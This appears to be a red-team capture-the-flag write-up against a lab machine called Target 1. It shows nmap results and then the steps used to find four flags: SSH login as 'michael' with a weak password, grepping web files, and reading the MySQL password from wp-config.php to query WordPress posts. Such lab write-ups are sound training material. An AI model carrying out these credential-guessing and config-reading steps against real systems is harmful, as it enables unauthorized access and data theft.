

Table of Contents

- Exposed Services
- Critical Vulnerabilities
- Exploitation

Exposed Services

Nmap scan results for each machine reveal the below services and OS details:

```
root@Kali:~# nmap -sV 192.168.1.110
Starting Nmap 7.80 ( https://nmap.org ) at 2022-08-17 16:56 PDT
Nmap scan report for 192.168.1.110
Host is up (0.0018s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind      2-4 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:15:5D:00:04:10 (Microsoft)
Service Info: Host: TARGET1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://
/nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.56 seconds
```

This scan identifies the services below as potential points of entry:

- Target 1
 - Port 22/TCP Open SSH
 - Port 80/TCP Open HTTP
 - Port 111/TCP Open rpcbind
 - Port 139/TCP Open netbios-ssn
 - Port 445/TCP Open netbios-ssn

The following vulnerabilities were identified on each target:

- Target 1
 - User Privilege escalation
 - Wordpress database uses unsalted password hash
 - Weak user password
 - User Enumeration

Exploitation

The Red Team was able to penetrate Target 1 and retrieve the following confidential data:

- Target 1

- flag1.txt:

```
⚡ — End footer Area — ⚡  
⚡ — flag1{b9bbcb33e11b80be759c4e844862482d} — ⚡  
<script src="js/vendor/jquery-2.2.4.min.js"></script>
```

- Exploit Used
- `ssh michael@192.168.1.110`
 - “michael” password
- `cd /var/www`
- `grep *flag`

- Flag2.txt:

```
michael@target1:/var/www$ cat flag2.txt  
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
```

- - `ssh michael@192.168.1.110`
 - `cd /var/www`
 - `cat flag2.txt`

- Flag3.txt

- F
- Once ssh'd into michael searched the MySQL database to find flag 3 in the /wordpress directory
- Searching the wp-config.php file will reveal the MySQL credentials:

```
/* MySQL database password */  
define('DB_PASSWORD', 'R@v3nSecurity');
```

- These credentials can be used to log into MySQL and access password hashes
- Once access to MySQL has been granted, selecting from wp_posts; both flag 3 and 4 can be seen

| flag3{afc01ab56b50591e7dccf93122770cd2}

		draft		open		oper
08-13 01:48:31		2018-08-13 01:48:31				
				0		post

| flag4{715dea6c055b9fe3337544932f2941ce} |